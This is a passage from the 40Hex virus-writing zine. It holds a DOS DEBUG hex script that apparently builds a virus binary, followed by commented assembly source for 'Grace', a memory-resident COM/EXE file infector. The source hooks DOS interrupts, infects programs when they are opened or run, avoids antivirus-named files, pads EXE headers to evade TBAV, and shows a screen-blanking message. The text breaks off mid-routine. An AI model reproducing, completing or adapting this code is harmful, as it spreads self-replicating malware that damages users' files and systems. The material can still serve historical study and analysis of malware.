E 0410 5B 77 0B 26 81 6F 1D 89 07 26 83 5F 1F 00 5A 1F
|
|||
|
E 0420 B4 1A E8 0F 00 E8 E2 01 5F 5E 1F 07 5A 59 5B 58
|
|||
|
E 0430 CA 02 00 EA 9C 2E FF 1E 71 03 C3 9A EB 30 EA FF
|
|||
|
E 0440 36 6B 06 FF 36 69 06 FF 36 65 06 FF 36 67 06 8F
|
|||
|
E 0450 06 53 06 8F 06 51 06 E8 8C 00 72 0B E8 C0 00 E8
|
|||
|
E 0460 3A 00 E8 14 00 EB 02 72 05 58 05 00 C8 50 2E 8F
|
|||
|
E 0470 06 69 06 2E 8F 06 6B 06 C3 A1 51 06 8B 16 53 06
|
|||
|
E 0480 05 89 07 83 D2 00 A3 65 06 89 16 67 06 C3 50 1E
|
|||
|
E 0490 33 C0 8E D8 A1 6C 04 D1 E8 1F 58 C3 A1 65 06 8B
|
|||
|
E 04A0 16 67 06 25 FF 01 A3 7C 06 A1 65 06 74 03 05 FF
|
|||
|
E 04B0 01 B1 09 D3 E8 B1 07 D3 E2 03 D0 89 16 7E 06 83
|
|||
|
E 04C0 06 84 06 76 B4 1A BA 7A 06 E8 68 FF BA 55 06 C6
|
|||
|
E 04D0 06 75 06 00 C7 06 61 06 00 00 C7 06 63 06 40 00
|
|||
|
E 04E0 B4 15 E8 4F FF C3 C7 06 63 06 40 00 B4 1A BA 7A
|
|||
|
E 04F0 06 E8 40 FF B4 14 BA 55 06 E8 38 FF A1 7A 06 02
|
|||
|
E 0500 E0 80 F4 A7 75 17 83 3E 94 06 00 75 10 83 3E 92
|
|||
|
E 0510 06 40 73 09 83 3E 67 06 04 77 02 F8 C3 F9 C3 FF
|
|||
|
E 0520 36 88 06 A1 65 06 FF 36 8A 06 8B 16 67 06 FF 36
|
|||
|
E 0530 8E 06 B1 04 8B 1E 82 06 D3 E3 2B C3 83 DA 00 FF
|
|||
|
E 0540 36 90 06 D3 E8 8F 06 3C 02 15 00 00 8F 06 3A 02
|
|||
|
E 0550 8B D8 8F 06 40 02 D3 E0 8F 06 3E 02 83 D2 00 B1
|
|||
|
E 0560 0C D3 E2 03 DA 83 EB 0F 89 1E 90 06 C7 06 8E 06
|
|||
|
E 0570 00 01 81 C3 F0 00 89 1E 88 06 C7 06 8A 06 FE 02
|
|||
|
E 0580 A1 65 06 8B 16 67 06 B1 04 D3 E8 15 00 00 8A EA
|
|||
|
E 0590 B1 04 D3 EA D2 E5 02 E5 83 D2 00 40 83 D2 00 A3
|
|||
|
E 05A0 76 06 89 16 78 06 C7 06 63 06 10 00 51 53 52 56
|
|||
|
E 05B0 57 E8 55 01 5F 5E 5A 5B 59 BA 49 08 B4 1A E8 73
|
|||
|
E 05C0 FE 52 B4 22 BA 55 06 E8 6A FE 5A E8 07 00 81 FA
|
|||
|
E 05D0 92 0F 72 E8 C3 83 C2 10 83 06 76 06 01 83 16 78
|
|||
|
E 05E0 06 00 C3 50 1E B8 09 00 8E D8 FF 36 00 00 FF 36
|
|||
|
E 05F0 02 00 2E 8F 06 2B 06 2E 8F 06 29 06 C7 06 00 00
|
|||
|
E 0600 26 06 0E 8F 06 02 00 1F 58 C3 50 1E 2E FF 36 29
|
|||
|
E 0610 06 B8 09 00 2E FF 36 2B 06 8E D8 8F 06 02 00 8F
|
|||
|
E 0620 06 00 00 1F 58 C3 B0 03 CF 00 00 00 00 00 00 24
|
|||
|
E 0630 42 20 2D 3D 5B 24 24 24 20 43 6F 72 70 6F 72 61
|
|||
|
E 0640 74 65 20 4C 69 66 65 20 24 24 24 5D 3D 2D 20 50
|
|||
|
E 0650 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0660 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0670 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0680 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0690 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 06A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 06B0 00 00 00 00 00 00 00 00 00 00 50 53 06 1E 56 57
|
|||
|
E 06C0 33 C0 8E C0 B8 FB FB CD 2F 8C C0 0B C0 74 1D 26
|
|||
|
E 06D0 81 3F 46 42 75 16 B8 07 07 BE F3 06 BF 20 00 03
|
|||
|
E 06E0 FB B9 16 00 0E 1F F2 A4 26 FF 5F 04 5F 5E 1F 07
|
|||
|
E 06F0 5B 58 C3 15 46 75 63 6B 20 43 6F 72 70 6F 72 61
|
|||
|
E 0700 74 20 4C 69 66 65 2E 0A 0D 0E 0E 07 1F B9 19 07
|
|||
|
E 0710 E8 F8 00 89 0E 38 08 BF 79 08 BE 30 01 F2 A4 E8
|
|||
|
E 0720 F7 00 25 07 07 3C 04 74 F6 80 FC 03 74 0C 80 FC
|
|||
|
E 0730 06 74 07 80 FC 07 74 02 EB E5 3A E0 74 E1 50 80
|
|||
|
E 0740 FC 03 75 05 80 F4 04 EB 03 80 F4 02 8A F4 E8 C8
|
|||
|
E 0750 00 A2 3F 08 58 80 26 3E 08 F8 80 26 37 08 F8 80
|
|||
|
E 0760 26 41 08 F8 80 26 3A 08 F8 80 26 40 08 F8 08 06
|
|||
|
E 0770 37 08 08 06 41 08 08 26 3A 08 08 26 40 08 08 36
|
|||
|
E 0780 3E 08 8B D0 E8 92 00 25 07 07 3C 04 74 F6 3A C6
|
|||
|
E 0790 74 F2 3A C2 74 EE 8A E0 81 26 45 08 F8 F8 09 06
|
|||
|
E 07A0 45 08 C7 06 3B 08 79 08 E8 8C 00 C7 06 3B 08 30
|
|||
|
E 07B0 01 BE 34 08 BF 49 08 E8 2E 00 E8 26 00 E8 23 00
|
|||
|
E 07C0 E8 20 00 E8 1C 00 E8 19 00 8B DF E8 14 00 E8 12
|
|||
|
E 07D0 00 A5 8B C7 2B C3 F6 D0 AA B9 79 08 2B CF E8 18
|
|||
|
E 07E0 00 C3 A5 A4 E8 01 00 C3 53 51 E8 2C 00 25 03 00
|
|||
|
E 07F0 40 8B C8 E8 03 00 59 5B C3 E8 1D 00 25 03 00 8B
|
|||
|
E 0800 D8 81 C3 45 08 8A 07 AA E2 EF C3 1E 33 C0 8E D8
|
|||
|
E 0810 A1 6C 04 1F 2E A3 32 08 C3 51 52 2E A1 32 08 B9
|
|||
|
E 0820 91 47 F7 E1 8B CA D3 C8 05 74 91 2E A3 32 08 5A
|
|||
|
E 0830 59 C3 00 00 06 0E 1F BB FF FF BE FF FF 80 34 FF
|
|||
|
E 0840 46 4B 75 F9 C3 41 49 90 FB
|
|||
|
R CX
|
|||
|
0749
|
|||
|
W
|
|||
|
Q
|
|||
|
40Hex Number 14 Volume 5 Issue 1 File 009
|
|||
|
|
|||
|
;==============================================================================
|
|||
|
;
|
|||
|
; Grace
|
|||
|
;
|
|||
|
; Mid-file COM/EXE TSR infector, 1294 bytes
|
|||
|
;
|
|||
|
; This virus employs a brand new infection mechanism such that virus
|
|||
|
; scanners which only check the entry points will fail. ie. heuristics
|
|||
|
; are (so far) worthless against this virus. However this opens the virus
|
|||
|
; up to signature scanning vulnerability because the entry point code
|
|||
|
; is fixed and very specific. The next version of this virus will feature
|
|||
|
; a general architectural reconstruction, multiple-block displacement
|
|||
|
; and also polymorphism, so keep your eyes peeled for that one.
|
|||
|
;
|
|||
|
; I know there has been another virus which has done mid-file infection
|
|||
|
; (Commander Bomber) but that uses a different method which achieves
|
|||
|
; a similar result (ie, infection in the middle of the host). However
|
|||
|
; the implementation illustrated in this virus is a more simple
|
|||
|
; rendition of the idea, it simply has a 'wrapper' which relocates blocks
|
|||
|
; etc. into the appropriate positions before the virus proper gains
|
|||
|
; control. Cmdr Bomber, on the other hand, inserts multiple polymorphic
|
|||
|
; jumps, but only infects .com files.
|
|||
|
;
|
|||
|
; This code is getting on (about 8 months) and has a few drawbacks. It
|
|||
|
; just took too much stuffing around writing it that I didn't want to
|
|||
|
; change it! :> .. for example the abovementioned susceptibility to sig
|
|||
|
; scanning.. also the relocation of the entire header information to the
|
|||
|
; end of the exe file (lame..) which requires heaps more memory than the
|
|||
|
; average virus and suspicious extra disk accesses. Also, it was written
|
|||
|
; to be compiled with a86 [1988] so the stuff at the end I had to count up
|
|||
|
; manually. So I don't use TASM, and dont do my tabs right.. that's my
|
|||
|
; problem. :> ..If I'd known how much mucking around this virus would
|
|||
|
; have taken to write before I'd written it, I wouldn't have bothered.
|
|||
|
; But I didn't, so I did, and here's the final product. It works! ;)
|
|||
|
;
|
|||
|
; There's a lot of commenting on this thing (left over from a tutorial I
|
|||
|
; did for someone) so it's not *too* difficult to understand if you are
|
|||
|
; taking a stroll through the code.. it's also pretty modular and some parts
|
|||
|
; have just been fitted in without much optimization (eg the filename
|
|||
|
; and extension checking routine could have been redone because there's only
|
|||
|
; 2 allowable extensions).
|
|||
|
;
|
|||
|
; Apart from residing around the middle of the host it's pretty much just
|
|||
|
; your standard virus.. it infects COM/EXE files on open, attrib, exec,
|
|||
|
; move, and extended open.. also on program termination via function 4ch
|
|||
|
; there's a chance the happy message "Have a nice DOS!" or "Have a nice
|
|||
|
; piss-up!" will appear after blanking the screen. I personally hate
|
|||
|
; programs which think they're being humourous with this little number, so
|
|||
|
; there you go.. have fun.
|
|||
|
;
|
|||
|
; -T<>L<EFBFBD>N 02/95-
|
|||
|
;
|
|||
|
;==============================================================================
|
|||
|
;
|
|||
|
; when you run it, run it with a debugger, at the entry point to the actual
|
|||
|
; virus (ie not the relocation wrapper) needs PSP in BP, and virus offset
|
|||
|
; in memory in DI .. ie 100h if you're executing the kernal. in other
|
|||
|
; words, there's no way this virus can be 'accidentally' compiled and
|
|||
|
; run, because it will crash unless you do the above step..
|
|||
|
;
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
;
|
|||
|
; Some equates and stuff for use within the virus ..
|
|||
|
;
|
|||
|
|
|||
|
org 0 ; will be assembled with start of 0
|
|||
|
|
|||
|
@JO equ 070h ; JO operand for variable branch
|
|||
|
@JMPS equ 0ebh ; JMP SHORT
|
|||
|
@tsrchk equ 6968h ; our tsr check
|
|||
|
p_len equ 5120/16 ; amount of memory we take up
|
|||
|
@marker equ 'PK' ; marker for infected file
|
|||
|
load equ 1536 ; scratch area offset
|
|||
|
vstack equ 1536 ; ceiling for our own stack .. = load
|
|||
|
k_len equ 52 ; length of relocation code
|
|||
|
ek_len equ 36 ; length of extra relocation code
|
|||
|
s_len equ 48 ; length of temp EXE stack
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
; assumes DI points to virus start
|
|||
|
; ES = PSP
|
|||
|
v_start: push di
|
|||
|
mov cx, cs
|
|||
|
mov ax, @tsrchk ; int 21h will return an error
|
|||
|
int 21h ; unless our virus is already TSR
|
|||
|
xor bx, ax ; is bx xor ax = 0 ?? (will be if TSR)
|
|||
|
jz bail ; jump if zero to a bail routine
|
|||
|
; otherwise install ourselves TSR.
|
|||
|
|
|||
|
mov ax, bp ; in segment PSP-1 is the MCB chain.
|
|||
|
dec ax ; We will edit that to get us some
|
|||
|
; memory to hide in.
|
|||
|
|
|||
|
memloop: mov ds, ax ; set data segment
|
|||
|
cmp byte ptr [0], 'Z' ; is it the last block?
|
|||
|
je fixmem
|
|||
|
mov bx, ax ; keep segment of prev. block
|
|||
|
add ax, word ptr [3] ; AX now equals seg of next MCB
|
|||
|
inc ax
|
|||
|
jmp short memloop ; and check it ..
|
|||
|
|
|||
|
fixmem: cmp word ptr [3], p_len*10 ; is block too small?
|
|||
|
jae fm_ok
|
|||
|
mov ds, bx ; yeah, use previous block
|
|||
|
xchg ax, bx
|
|||
|
fm_ok: sub word ptr [3], p_len ; steal the memory we need
|
|||
|
add ax, word ptr [3] ; get its segment value
|
|||
|
inc ax
|
|||
|
mov word ptr [12h], ax ; and feed it to the PSP of
|
|||
|
; the host program - otherwise
|
|||
|
; command.com will crash
|
|||
|
|
|||
|
mov es, ax ; ES = destination segment for
|
|||
|
push cs ; the move..
|
|||
|
pop ds ; DS = source segment
|
|||
|
xor di, di
|
|||
|
push cx
|
|||
|
mov cx, v_len ; # of bytes to move
|
|||
|
cld ; forward direction...
|
|||
|
rep movsb ; move CX bytes ds:si -> es:di
|
|||
|
pop cx
|
|||
|
gethi: push es ; push dest. seg on stack
|
|||
|
mov ax, offset dms ; and the offset of where to go
|
|||
|
push ax
|
|||
|
retf ; and jump there.
|
|||
|
|
|||
|
dms: xor ax, ax
|
|||
|
mov ds, ax
|
|||
|
mov si, 21h*4 ; offset of int 21h vector
|
|||
|
movsw ; mov word from DS:SI to ES:DI
|
|||
|
movsw ; and again
|
|||
|
sub si, 4
|
|||
|
mov word ptr [si], offset new21 ; revector int 21h
|
|||
|
mov word ptr [si+2], cs
|
|||
|
|
|||
|
; we have saved the old int 21h value so we can still jump to it, and we have
|
|||
|
; put our offset and segment in its place -- so every time an int 21h call
|
|||
|
; is issued, control is passed to the virus. Now let's split.
|
|||
|
|
|||
|
xor si, si ; zero si since we've relocated
|
|||
|
bail: mov es, bp ; restore to ES the PSP segment
|
|||
|
push cs ; and let DS be our CS
|
|||
|
pop ds
|
|||
|
add si, offset old_shit ; point SI to our old data
|
|||
|
gl: jo exit_exe ; JO changed to JMP in EXE
|
|||
|
mov di, 0100h ; COMs always start execution
|
|||
|
add sp, 2
|
|||
|
push bp ; at PSP:100h
|
|||
|
push di
|
|||
|
movsw ; restore host's original 5
|
|||
|
movsw
|
|||
|
movsb
|
|||
|
jmp short zero_shit ; split
|
|||
|
exit_exe: add bp, 10h
|
|||
|
lodsw
|
|||
|
add ax, bp
|
|||
|
xchg ax, bx
|
|||
|
lodsw
|
|||
|
pop di
|
|||
|
relo_stuff: mov ss, bx
|
|||
|
xchg ax, sp
|
|||
|
lodsw ; now get the starting address
|
|||
|
xchg ax, bx ; from where we've stored it.
|
|||
|
lodsw
|
|||
|
add ax, bp
|
|||
|
mov ds, cx
|
|||
|
xchg si, di ; DS:SI = relocation table
|
|||
|
push ax ; push exe CS:IP onto stack...
|
|||
|
push bx
|
|||
|
lodsw ; # of relocation items
|
|||
|
xchg cx, ax
|
|||
|
jcxz rldone
|
|||
|
relo_loop: lodsw ; relocate them...
|
|||
|
xchg ax, di
|
|||
|
lodsw
|
|||
|
add ax, bp
|
|||
|
mov es, ax
|
|||
|
add word ptr es:[di], bp
|
|||
|
loop relo_loop
|
|||
|
rldone: sub bp, 10h
|
|||
|
zero_shit: xor ax, ax ; clean our hands
|
|||
|
mov bx, ax
|
|||
|
mov cx, ax
|
|||
|
cwd
|
|||
|
mov si, ax
|
|||
|
mov di, ax
|
|||
|
mov ds, bp ; DS=ES=PSP ..
|
|||
|
mov es, bp
|
|||
|
mov bp, ax ; everything = 0...
|
|||
|
retf ; I didn't see nothin!
|
|||
|
|
|||
|
old_shit: int 20h ; 4 words to store either the
|
|||
|
dw 0,0,0 ; old EXE header values or the
|
|||
|
; old COM header info.
|
|||
|
|
|||
|
db '-[Grace] by T<>L<EFBFBD>N 94-'
|
|||
|
|
|||
|
;
|
|||
|
; end of installation routine.
|
|||
|
;
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
;
|
|||
|
; The 'Have a nice DOS!' or 'Have a nice piss-up!' effect.
|
|||
|
;
|
|||
|
|
|||
|
hahaha: in al, 40h
|
|||
|
cmp al, 0e0
|
|||
|
jbe ha_ex
|
|||
|
push bx
|
|||
|
push dx
|
|||
|
push ds
|
|||
|
mov ah, 0fh
|
|||
|
int 10h ; get video mode
|
|||
|
xor ah, ah
|
|||
|
int 10h ; clear that mode's screen
|
|||
|
mov ah, 2
|
|||
|
xor dx, dx
|
|||
|
int 10h
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov ah, 9
|
|||
|
mov dx, offset msg ; print the msg
|
|||
|
call i21
|
|||
|
in al, 40h
|
|||
|
xchg ah, al
|
|||
|
in al, 40h
|
|||
|
xor al, ah
|
|||
|
cmp al, 0a0h
|
|||
|
jbe nicedos
|
|||
|
mov dx, offset XXXX
|
|||
|
jmp short prp
|
|||
|
nicedos: mov dx, offset doss
|
|||
|
prp: mov ah, 9
|
|||
|
call i21
|
|||
|
pop ds
|
|||
|
pop dx
|
|||
|
pop bx
|
|||
|
ha_ex: jmp short yeppo
|
|||
|
|
|||
|
db 'You make me sick I make viruses'
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
new21: cmp ax, @tsrchk ; is it us checking residence?
|
|||
|
jne n2
|
|||
|
mov bx, ax ; yep, make BX = AX
|
|||
|
iret ; and return from interrupt.
|
|||
|
n2: push ax
|
|||
|
xchg ah, al
|
|||
|
cmp al, 3dh ; OPEN?
|
|||
|
je letsgo
|
|||
|
cmp al, 43h ; ATTRIB?
|
|||
|
je letsgo
|
|||
|
cmp al, 4bh ; EXEC?
|
|||
|
je letsgo
|
|||
|
cmp al, 4ch ; EXIT?
|
|||
|
je hahaha
|
|||
|
cmp al, 56h ; RENAME?
|
|||
|
je letsgo
|
|||
|
cmp al, 6ch ; EXT_OPEN?
|
|||
|
jne yeppo
|
|||
|
push dx
|
|||
|
mov dx, si
|
|||
|
call infect
|
|||
|
pop dx
|
|||
|
jmp short yeppo
|
|||
|
letsgo: call infect ; call the infection routine
|
|||
|
yeppo: pop ax ; restore AX
|
|||
|
n21_2: jmp dword ptr cs:[old21] ; and act as if nothing's up
|
|||
|
|
|||
|
new24: mov al, 3 ; a cool critical error handler
|
|||
|
iret
|
|||
|
|
|||
|
file_end: mov ax, 4202h ; some internal virus functions
|
|||
|
jmp short seek_vals
|
|||
|
file_zero: mov ax, 4200h
|
|||
|
seek_vals: xor cx, cx
|
|||
|
xor dx, dx
|
|||
|
i21: pushf ; simulate an int 21h
|
|||
|
push cs
|
|||
|
call n21_2
|
|||
|
ret
|
|||
|
|
|||
|
; the working horse of the virus.
|
|||
|
|
|||
|
infect: push ax ; save all the registers
|
|||
|
push bx ; that we'll be screwing with
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push si
|
|||
|
push di
|
|||
|
push ds
|
|||
|
push es
|
|||
|
|
|||
|
; now, we need to save the name of the file we're dealing with at a permanent
|
|||
|
; location so that it's easier to reference. We also need to check to see if
|
|||
|
; it's an invalid filename (ie. contains SC (eg Scan), CL (clean) etc etc.).
|
|||
|
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
mov di, offset filename
|
|||
|
mov si, dx ; on all the above calls,
|
|||
|
; DS:DX points to the filename.
|
|||
|
; we put it in SI for the LODSB
|
|||
|
; instruction.
|
|||
|
storename: lodsb ; [DS:SI] -> AL
|
|||
|
stosb ; AL -> [ES:DI]
|
|||
|
or al, al ; is it 0 (end of ASCIIZ string)?
|
|||
|
jnz storename ; if not, keep going
|
|||
|
|
|||
|
push cs ; toss out old data segment,
|
|||
|
pop ds ; we don't need it now.
|
|||
|
|
|||
|
; now we check the name and the extension.
|
|||
|
; [this could do with a rewrite]..
|
|||
|
|
|||
|
mov dx, di
|
|||
|
sub dx, 4 ; DX points to extension
|
|||
|
lea si, [di-12] ; SI = DI - 12
|
|||
|
cmp si, offset filename+1 ; is it too far back?
|
|||
|
jae kkk1
|
|||
|
mov si, offset filename+1 ; yep, point it right
|
|||
|
kkk1: dec si
|
|||
|
cmp si, dx ; is SI up to extension yet?
|
|||
|
je kkk2
|
|||
|
lodsw ; no, check the word at SI...
|
|||
|
and ax, 0dfdfh ; capitalize the letters
|
|||
|
push di
|
|||
|
mov di, offset fucks
|
|||
|
mov cx, @fucks ; 4 things to check for...
|
|||
|
repne scasw ; this is:
|
|||
|
; "keep comparing AX to [ES:DI]
|
|||
|
; while AX <> [ES:DI] or until
|
|||
|
; CX = 0. ie find if AX matches
|
|||
|
; any of the disallowed things.
|
|||
|
pop di
|
|||
|
jne kkk1 ; try next 2 if no match..
|
|||
|
jmp short ncexit_err ; otherwise we don't infect.
|
|||
|
|
|||
|
kkk2: mov di, offset exts ; valid extensions
|
|||
|
mov cx, @exts
|
|||
|
cld
|
|||
|
lodsw
|
|||
|
and ax, 0dfdfh ; -> uppercase
|
|||
|
extchk: scasw ; does AX match extension?
|
|||
|
je extchk_2
|
|||
|
inc di ; nope, try next extension
|
|||
|
loop extchk ; loop until cx=0
|
|||
|
ncexit_err: jmp bitch ; .. if not valid extension,
|
|||
|
; terminate infection routine
|
|||
|
|
|||
|
extchk_2: lodsb ; otherwise check 3rd byte
|
|||
|
and al, 0dfh
|
|||
|
scasb
|
|||
|
jne ncexit_err
|
|||
|
|
|||
|
; set int 24h to our own so we don't get annoying "Write protect error" etc.
|
|||
|
|
|||
|
set24: mov ax, 3524h ; get int 24h vector
|
|||
|
call i21
|
|||
|
push es ; save it on the stack
|
|||
|
push bx
|
|||
|
mov dx, offset new24
|
|||
|
mov ax, 2524h ; set int 24h vector
|
|||
|
call i21
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
|
|||
|
; now set the file attributes to zero...
|
|||
|
|
|||
|
setattrib: mov ax, 4300h ; AX=4300h, Get attribs of file
|
|||
|
mov dx, offset filename ; DS:DX, filename
|
|||
|
call i21
|
|||
|
push cx ; ..save them..
|
|||
|
mov ax, 4301h
|
|||
|
xor cx, cx
|
|||
|
call i21 ; and zero them out.
|
|||
|
jc bitch1 ; if error, bail ...
|
|||
|
|
|||
|
; now we can safely open the file.
|
|||
|
|
|||
|
mov ax, 3d02h ; open file, read/write access
|
|||
|
call i21
|
|||
|
xchg ax, bx ; put file handle into bx
|
|||
|
mov ax, 5700h ; get the file's date/time
|
|||
|
call i21
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
|
|||
|
; check to see if the file is a COM or an EXE, according to its hdr structure.
|
|||
|
|
|||
|
call file_zero ; seek to beginning of file
|
|||
|
mov ah, 3fh
|
|||
|
mov cx, 26
|
|||
|
mov dx, offset signature
|
|||
|
call i21 ; read 24 bytes (header info)
|
|||
|
|
|||
|
xor ax, cx ; bail if < 26 bytes read
|
|||
|
jnz bitch2
|
|||
|
|
|||
|
mov ax, @marker ; is there an infection marker?
|
|||
|
cmp word ptr [signature+3], ax ; [com]
|
|||
|
je bitch2 ; yep, it's already infected
|
|||
|
cmp word ptr [chksum], ax ; [exe]
|
|||
|
je bitch2
|
|||
|
|
|||
|
mov si, dx
|
|||
|
lodsb
|
|||
|
cmp al, 'M' ; EXEs start with MZ or ZM
|
|||
|
je goexe
|
|||
|
cmp al, 'Z'
|
|||
|
je goexe
|
|||
|
call cominf ; otherwise it's a COM file
|
|||
|
jmp short write_hdr
|
|||
|
goexe: call exeinf
|
|||
|
write_hdr: call file_zero ; seek to start of file
|
|||
|
mov ah, 40h
|
|||
|
mov cx, 26
|
|||
|
mov dx, offset signature
|
|||
|
call i21 ; write patched header
|
|||
|
|
|||
|
bitch2: pop dx ; restore the file's date/time
|
|||
|
pop cx
|
|||
|
mov ax, 5701h
|
|||
|
call i21
|
|||
|
|
|||
|
mov ah, 3eh ; and close it.
|
|||
|
call i21
|
|||
|
|
|||
|
bitch1: pop cx ; restore file's original
|
|||
|
mov ax, 4301h ; file attributes
|
|||
|
mov dx, offset filename
|
|||
|
call i21
|
|||
|
|
|||
|
pop dx ; get original i24h
|
|||
|
pop ds
|
|||
|
mov ax, 2524h
|
|||
|
call i21 ; and reinstate it
|
|||
|
|
|||
|
bitch: pop es ; restore all the registers...
|
|||
|
pop ds
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
ret ; and exit the infect routine.
|
|||
|
|
|||
|
cominf: mov di, offset old_shit
|
|||
|
stosb
|
|||
|
movsw ; save first 5 bytes
|
|||
|
movsw
|
|||
|
call file_end
|
|||
|
or dx, dx ; COM >64k?
|
|||
|
jnz com_done
|
|||
|
cmp ax, 0f800h ; COM >60k?
|
|||
|
jae com_done
|
|||
|
push ax
|
|||
|
mov byte ptr [gl], @JO
|
|||
|
mov word ptr [k1+1], 0
|
|||
|
; we need a random value between 5 and (eof-v_len)
|
|||
|
sub ax, (v_len)+5
|
|||
|
jc com_done2
|
|||
|
call rnd_num
|
|||
|
add ax, 105h ; DX:AX is file offset of virus
|
|||
|
mov word ptr [k2+1], ax
|
|||
|
dec ah
|
|||
|
push ax
|
|||
|
call file_end
|
|||
|
add ax, v_len + k_len + 100h
|
|||
|
mov word ptr [k3+1], ax
|
|||
|
pop ax
|
|||
|
stc
|
|||
|
call write_us
|
|||
|
mov di, offset signature
|
|||
|
mov al, 0e9h ; now build us a JMP
|
|||
|
stosb
|
|||
|
pop ax
|
|||
|
dec ax ; ...
|
|||
|
dec ax
|
|||
|
dec ax
|
|||
|
stosw
|
|||
|
mov ax, @marker ; put in the infection marker
|
|||
|
stosw
|
|||
|
com_done: ret
|
|||
|
com_done2: pop ax
|
|||
|
ret
|
|||
|
|
|||
|
; this EXE infection is quite exhaustive in order to screw up the least amount
|
|||
|
; of EXE files possible. A virus shows itself up when it wrecks things ..
|
|||
|
; therefore it makes sense not to wreck things, hmm?
|
|||
|
|
|||
|
exeinf: ; we have to check for internal overlays
|
|||
|
; if present, don't infect the file
|
|||
|
call file_end
|
|||
|
push ax ; check for internal overlays
|
|||
|
push dx
|
|||
|
mov ax, word ptr [page_cnt] ; calculate how big the code
|
|||
|
mov cx, 512 ; part of the EXE is, according
|
|||
|
mul cx ; to its header info ...
|
|||
|
pop cx
|
|||
|
pop bp
|
|||
|
cmp ax, bp ; and compare it to the actual
|
|||
|
jb com_done ; file's size.
|
|||
|
cmp dx, cx ; if calc<actual then it must have
|
|||
|
jb com_done ; internal overlays -- bail.
|
|||
|
|
|||
|
; store the old SS:SP, CS:IP
|
|||
|
|
|||
|
mov di, offset old_shit
|
|||
|
mov si, offset relo_ss
|
|||
|
movsw
|
|||
|
movsw
|
|||
|
lodsw
|
|||
|
movsw
|
|||
|
movsw
|
|||
|
|
|||
|
; append k_code to EOF & find a block to move as well...
|
|||
|
|
|||
|
call file_end
|
|||
|
mov byte ptr [gl], @JMPS
|
|||
|
mov cx, 10h ; # of paragraphs in whole file
|
|||
|
div cx
|
|||
|
sub ax, word ptr [hdr_size] ; except the header
|
|||
|
mov word ptr [relo_cs], ax
|
|||
|
dec ax
|
|||
|
mov word ptr [relo_ss], ax
|
|||
|
mov word ptr [exe_ip], dx
|
|||
|
push dx
|
|||
|
xchg ax, dx
|
|||
|
add ax, v_len + ek_len + k_len
|
|||
|
mov word ptr [k3+1], ax
|
|||
|
mov word ptr [ek1+1], ax
|
|||
|
|
|||
|
; the minmem/maxmem stuff is not really necessary to the
|
|||
|
; viability of infection, but TBAV screams if the header
|
|||
|
; isn't perfect. One less thing for TBAV to pick up...
|
|||
|
|
|||
|
mov ax, -10240/16 ; a -ve value to save code
|
|||
|
cmp word ptr [minmem], ax ; (hehe is 10k enough??)
|
|||
|
jae di0
|
|||
|
sub word ptr [minmem], ax ; subtract -ve = add
|
|||
|
di0: cmp word ptr [maxmem], ax
|
|||
|
jae dont_inc
|
|||
|
sub word ptr [maxmem], ax
|
|||
|
dont_inc: pop ax
|
|||
|
add ax, v_len + ek_len + k_len + s_len + 10h
|
|||
|
mov cx, word ptr [relocnt]
|
|||
|
shl cx, 1
|
|||
|
shl cx, 1
|
|||
|
add ax, cx
|
|||
|
shr ax, 1 ; make SP even
|
|||
|
shl ax, 1
|
|||
|
mov word ptr [exe_sp], ax
|
|||
|
|
|||
|
call file_end ; calculate the size of the file
|
|||
|
push dx ; minus the header
|
|||
|
push ax
|
|||
|
mov ax, word ptr [hdr_size]
|
|||
|
mov dx, 10h
|
|||
|
mul dx
|
|||
|
mov word ptr [hdr], ax
|
|||
|
mov word ptr [hdr+2], dx
|
|||
|
pop ax
|
|||
|
sub ax, word ptr [hdr]
|
|||
|
pop dx
|
|||
|
sbb dx, word ptr [hdr+2]
|
|||
|
sub ax, v_len
|
|||
|
sbb dx, 0
|
|||
|
call rnd_num ; & select a random # in that range
|
|||
|
push ax
|
|||
|
push dx
|
|||
|
mov cx, 10h
|
|||
|
div cx
|
|||
|
add ax, 10h
|
|||
|
mov word ptr [k1+1], ax
|
|||
|
mov word ptr [k2+1], dx
|
|||
|
pop dx
|
|||
|
pop ax
|
|||
|
add ax, word ptr [hdr]
|
|||
|
adc dx, word ptr [hdr+2]
|
|||
|
clc
|
|||
|
call write_us
|
|||
|
|
|||
|
mov cx, 512 ; calculate new # of code pages
|
|||
|
div cx
|
|||
|
or dx, dx ; any bits left over?
|
|||
|
jz fp2
|
|||
|
inc ax ; yes, inc # pages
|
|||
|
fp2: mov word ptr [part_page], dx ; update the info
|
|||
|
mov word ptr [page_cnt], ax
|
|||
|
mov word ptr [chksum], @marker ; tag as infected
|
|||
|
ret
|
|||
|
|
|||
|
write_us: ; calling parameters:
|
|||
|
; k1, k2 and k3 have been taken care of
|
|||
|
; DX:AX contains file offset of part to save & overwrite
|
|||
|
; this routine was once simple, but programming nightmares
|
|||
|
; caused it to get cancerous outgrowths.
|
|||
|
; (although i prefer not to call my programming a cancerous
|
|||
|
; outgrowth)...
|
|||
|
pushf
|
|||
|
mov cx, dx
|
|||
|
xchg ax, dx
|
|||
|
mov ax, 4200h
|
|||
|
call i21 ; seek to this area
|
|||
|
popf
|
|||
|
push ax
|
|||
|
push dx
|
|||
|
mov dx, offset load
|
|||
|
mov cx, v_len
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
mov ah, 3fh
|
|||
|
pushf
|
|||
|
call i21 ; read old contents
|
|||
|
call file_end
|
|||
|
mov cx, k_len
|
|||
|
mov dx, offset k_kode
|
|||
|
popf
|
|||
|
pushf
|
|||
|
jc wu2
|
